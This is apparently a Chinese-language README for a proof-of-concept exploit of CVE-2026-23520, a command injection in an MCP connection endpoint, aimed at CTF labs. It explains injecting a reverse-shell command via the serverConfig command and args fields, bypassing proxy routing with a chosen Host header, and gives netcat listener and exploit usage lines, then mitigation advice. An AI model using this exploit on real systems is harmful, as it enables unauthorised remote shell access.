免责声明:本仓库及其包含的脚本仅严格用于教育和学术目的。
此处提供的信息旨在帮助安全研究人员、系统管理员和学生在受控实验室环境(例如 Capture The Flag 平台)中理解命令注入漏洞和虚拟主机路由的机制。
切勿将此工具用于任何未经所有者明确书面许可的系统、网络或基础设施。 作者对任何因滥用或使用本软件造成的损害不承担任何责任。
本仓库提供了关于在特定应用栈(如 Arcane v1.13.0)的 Model Context Protocol (MCP) 实现中利用 CVE-2026-23520 的概念验证 (PoC)。
该漏洞是一个经典的命令注入漏洞。API 端点 (/api/mcp/connect) 接受一个 JSON 载荷来配置新的服务器连接。该载荷包含一个 serverConfig 对象,其中含有 command 和 args 字段。
由于应用程序在将这两个字段传入主机操作系统执行之前未能正确对其进行清理,攻击者可以提供一个恶意的 bash 命令(如反弹 shell)来替代合法的服务路径。
在许多实际部署或 CTF 场景中,直接将漏洞利用发送到主 IP 地址会导致 404 Not Found 错误。这是因为易受攻击的组件(例如 MCPJam Inspector)托管在反向代理(如 Nginx)之后,该代理根据 Host 标头进行路由。
本 PoC 与标准漏洞利用的不同之处在于,它明确允许用户指定 虚拟主机 (vhost),从而绕过代理路由规则直接访问易受攻击的应用程序。
本脚本需要 Python 3 和 requests 库。
pip install requests
python3 exploit_vhost.py <目标IP> <目标端口> <虚拟主机> <监听IP> <监听端口>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
注意:出现"读超时"错误是预期的,表明反弹 shell 已成功执行并保持连接打开。
管理员应确保运行最新补丁版本的软件。如果无法立即打补丁,请限制对 /api/mcp/connect 端点的访问,并确保对所有 serverConfig 参数进行严格的输入验证。